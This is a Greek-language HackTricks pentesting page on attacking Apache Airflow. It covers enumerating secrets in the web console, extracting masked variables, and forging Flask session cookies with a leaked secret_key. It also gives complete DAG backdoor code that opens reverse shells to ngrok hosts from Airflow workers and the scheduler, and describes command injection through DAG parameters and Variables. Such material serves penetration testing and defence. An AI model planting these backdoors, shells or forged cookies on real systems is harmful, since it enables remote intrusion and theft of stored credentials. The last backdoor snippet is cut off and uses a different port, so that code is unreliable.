Apache Airflow Security

Μάθετε το χάκινγκ του AWS από το μηδέν μέχρι τον ήρωα με το htARTE (HackTricks AWS Red Team Expert)!

Άλλοι τρόποι για να υποστηρίξετε το HackTricks:

Βασικές Πληροφορίες

Το Apache Airflow λειτουργεί ως πλατφόρμα για την οργάνωση και προγραμματισμό των αγωγών δεδομένων ή ροών εργασιών. Ο όρος "ορχήστρα" στο πλαίσιο των αγωγών δεδομένων σημαίνει τη διαδικασία της διάταξης, της συντονισμού και της διαχείρισης πολύπλοκων ροών δεδομένων που προέρχονται από διάφορες πηγές. Ο κύριος σκοπός αυτών των οργανωμένων αγωγών δεδομένων είναι να παρέχουν επεξεργασμένα και καταναλώσιμα σύνολα δεδομένων. Αυτά τα σύνολα δεδομένων χρησιμοποιούνται εκτενώς από πολλές εφαρμογές, συμπεριλαμβανομένων, αλλά όχι περιοριστικά, εργαλείων επιχειρηματικής νοημοσύνης, μοντέλων επιστήμης δεδομένων και μηχανικής μάθησης, τα οποία είναι θεμελιώδη για τη λειτουργία εφαρμογών μεγάλων δεδομένων.

Βασικά, το Apache Airflow θα σας επιτρέψει να προγραμματίσετε την εκτέλεση κώδικα όταν κάτι (συμβάν, cron) συμβεί.

Τοπικό Εργαστήριο

Docker-Compose

Μπορείτε να χρησιμοποιήσετε το αρχείο διαμόρφωσης docker-compose από το https://raw.githubusercontent.com/apache/airflow/main/docs/apache-airflow/start/docker-compose.yaml για να ξεκινήσετε ένα πλήρες περιβάλλον apache airflow με τη χρήση του Docker. (Αν είστε σε MacOS, βεβαιωθείτε ότι δίνετε τουλάχιστον 6GB μνήμης RAM στην εικονική μηχανή του Docker).

Minikube

Ένας εύκολος τρόπος να τρέξετε το apache airflow είναι να το τρέξετε με το minikube:

helm repo add airflow-stable https://airflow-helm.github.io/charts
helm repo update
helm install airflow-release airflow-stable/airflow
# Some information about how to aceess the web console will appear after this command

# Use this command to delete it
helm delete airflow-release

Ρύθμιση του Airflow

Το Airflow μπορεί να αποθηκεύει ευαίσθητες πληροφορίες στις ρυθμίσεις του ή μπορεί να υπάρχουν αδύναμες ρυθμίσεις:

pageAirflow Configuration

Airflow RBAC

Πριν αρχίσετε να επιτίθεστε στο Airflow, πρέπει να κατανοήσετε πώς λειτουργούν οι άδειες:

pageAirflow RBAC

Επιθέσεις

Απαρίθμηση του Web Console

Εάν έχετε πρόσβαση στον ιστότοπο του Airflow, μπορείτε να έχετε πρόσβαση σε ορισμένες ή όλες τις παρακάτω πληροφορίες:

  • Μεταβλητές (Εδώ μπορεί να αποθηκεύονται προσαρμοσμένες ευαίσθητες πληροφορίες)

  • Συνδέσεις (Εδώ μπορεί να αποθηκεύονται προσαρμοσμένες ευαίσθητες πληροφορίες)

  • Αποκτήστε πρόσβαση σε αυτές στο http://<airflow>/connection/list/

  • Ρυθμίσεις (Ευαίσθητες πληροφορίες όπως το secret_key και οι κωδικοί πρόσβασης μπορεί να αποθηκεύονται εδώ)

  • Λίστα χρηστών και ρόλων

  • Κώδικας κάθε DAG (ο οποίος μπορεί να περιέχει ενδιαφέρουσες πληροφορίες)

Ανάκτηση τιμών μεταβλητών

Οι μεταβλητές μπορούν να αποθηκευτούν στο Airflow, έτσι ώστε οι DAGs να μπορούν να έχουν πρόσβαση στις τιμές τους. Είναι παρόμοιο με τα μυστικά άλλων πλατφορμών. Εάν έχετε επαρκείς δικαιώματα, μπορείτε να τις αποκτήσετε στο γραφικό περιβάλλον στο http://<airflow>/variable/list/. Το Airflow από προεπιλογή θα εμφανίζει την τιμή της μεταβλητής στο γραφικό περιβάλλον, ωστόσο, σύμφωνα με αυτό, είναι δυνατόν να οριστεί μια λίστα μεταβλητών οι οποίες η τιμή τους θα εμφανίζεται ως αστερίσκοι στο γραφικό περιβάλλον.

Ωστόσο, αυτές οι τιμές μπορούν ακόμα να ανακτηθούν μέσω CLI (χρειάζεστε πρόσβαση στη βάση δεδομένων), αυθαίρετη εκτέλεση DAG, API πρόσβαση στο τέλος των μεταβλητών (το API πρέπει να είναι ενεργοποιημένο) και ακόμα και το ίδιο το γραφικό περιβάλλον! Για να αποκτήσετε πρόσβαση σε αυτές τις τιμές από το γραφικό περιβάλλον, απλά επιλέξτε τις μεταβλητές που θέλετε να αποκτήσετε πρόσβαση και κάντε κλικ στην επιλογή Ενέργειες -> Εξαγωγή. Μια άλλη μέθοδος είναι να εκτελέσετε μια επίθεση βίας στην κρυφή τιμή χρησιμοποιώντας την αναζήτηση φιλτραρίσματος μέχρι να την ανακτήσετε:

Ανέβασμα Προνομίων

Εάν η ρύθμιση expose_config έχει οριστεί σε True, από τον ρόλο Χρήστη και πάνω, μπορούν να διαβάσουν την διαμόρφωση στον ιστό. Σε αυτήν τη διαμόρφωση, εμφανίζεται το secret_key, πράγμα που σημαίνει ότι οποιοσδήποτε χρήστης με αυτό το έγκυρο κλειδί μπορεί να δημιουργήσει το δικό του υπογεγραμμένο cookie για να προσομοιώσει οποιονδήποτε άλλο λογαριασμό χρήστη.

flask-unsign --sign --secret '<secret_key>' --cookie "{'_fresh': True, '_id': '12345581593cf26619776d0a1e430c412171f4d12a58d30bef3b2dd379fc8b3715f2bd526eb00497fcad5e270370d269289b65720f5b30a39e5598dad6412345', '_permanent': True, 'csrf_token': '09dd9e7212e6874b104aad957bbf8072616b8fbc', 'dag_status_filter': 'all', 'locale': 'en', 'user_id': '1'}"

Παρασιτική πόρτα DAG (RCE στον Airflow worker)

Εάν έχετε δικαιώματα εγγραφής στον τόπο όπου αποθηκεύονται οι DAGs, μπορείτε απλά να δημιουργήσετε έναν που θα σας στείλει ένα αντίστροφο κέλυφος. Σημειώστε ότι αυτό το αντίστροφο κέλυφος θα εκτελεστεί μέσα σε έναν εργατικό container του airflow:

import pendulum
from airflow import DAG
from airflow.operators.bash import BashOperator

with DAG(
dag_id='rev_shell_bash',
schedule_interval='0 0 * * *',
start_date=pendulum.datetime(2021, 1, 1, tz="UTC"),
) as dag:
run = BashOperator(
task_id='run',
bash_command='bash -i >& /dev/tcp/8.tcp.ngrok.io/11433  0>&1',
)
import pendulum, socket, os, pty
from airflow import DAG
from airflow.operators.python import PythonOperator

def rs(rhost, port):
s = socket.socket()
s.connect((rhost, port))
[os.dup2(s.fileno(),fd) for fd in (0,1,2)]
pty.spawn("/bin/sh")

with DAG(
dag_id='rev_shell_python',
schedule_interval='0 0 * * *',
start_date=pendulum.datetime(2021, 1, 1, tz="UTC"),
) as dag:
run = PythonOperator(
task_id='rs_python',
python_callable=rs,
op_kwargs={"rhost":"8.tcp.ngrok.io", "port": 11433}
)

Παρασκηνιακή πίσω πόρτα DAG (RCE στον προγραμματιστή του Airflow)

Εάν ορίσετε κάτι να εκτελείται στη ρίζα του κώδικα, τη στιγμή που γράφεται αυτό, θα εκτελεστεί από τον προγραμματιστή μετά από μερικά δευτερόλεπτα αφού το τοποθετήσετε μέσα στον φάκελο του DAG.

import pendulum, socket, os, pty
from airflow import DAG
from airflow.operators.python import PythonOperator

def rs(rhost, port):
s = socket.socket()
s.connect((rhost, port))
[os.dup2(s.fileno(),fd) for fd in (0,1,2)]
pty.spawn("/bin/sh")

rs("2.tcp.ngrok.io", 14403)

with DAG(
dag_id='rev_shell_python2',
schedule_interval='0 0 * * *',
start_date=pendulum.datetime(2021, 1, 1, tz="UTC"),
) as dag:
run = PythonOperator(
task_id='rs_python2',
python_callable=rs,
op_kwargs={"rhost":"2.tcp.ngrok.io", "port": 144}

Δημιουργία DAG

Εάν καταφέρετε να διακινδυνεύσετε ένα μηχάνημα μέσα στο DAG cluster, μπορείτε να δημιουργήσετε νέα scripts DAGs στον φάκελο dags/ και θα αντιγραφούν στα υπόλοιπα μηχανήματα μέσα στο DAG cluster.

Ενσωμάτωση Κώδικα στο DAG

Όταν εκτελείτε ένα DAG από το GUI, μπορείτε να περάσετε ορίσματα σε αυτό. Επομένως, εάν το DAG δεν έχει κατασκευαστεί σωστά, μπορεί να είναι ευάλωτο σε εντολές ενσωμάτωσης. Αυτό συνέβη σε αυτό το CVE: https://www.exploit-db.com/exploits/49927

Όλο όσο χρειάζεται να αρχίσετε να ψάχνετε για εντολές ενσωμάτωσης στα DAGs είναι ότι οι παράμετροι προσπελαύνονται με τον κώδικα dag_run.conf.get("param_name").

Επιπλέον, η ίδια ευπάθεια μπορεί να συμβεί και με τις μεταβλητές (σημειώστε ότι με επαρκή δικαιώματα μπορείτε να ελέγξετε την τιμή των μεταβλητών στο GUI). Οι μεταβλητές προσπελαύνονται με:

from airflow.models import Variable
[...]
foo = Variable.get("foo")

Εάν χρησιμοποιηθούν για παράδειγμα μέσα σε μια εντολή bash, μπορείτε να πραγματοποιήσετε μια εντολή εισχώρησης.

Μάθετε το χάκινγκ του AWS από το μηδέν μέχρι τον ήρωα με το htARTE (HackTricks AWS Red Team Expert)!

Άλλοι τρόποι για να υποστηρίξετε το HackTricks:

Last updated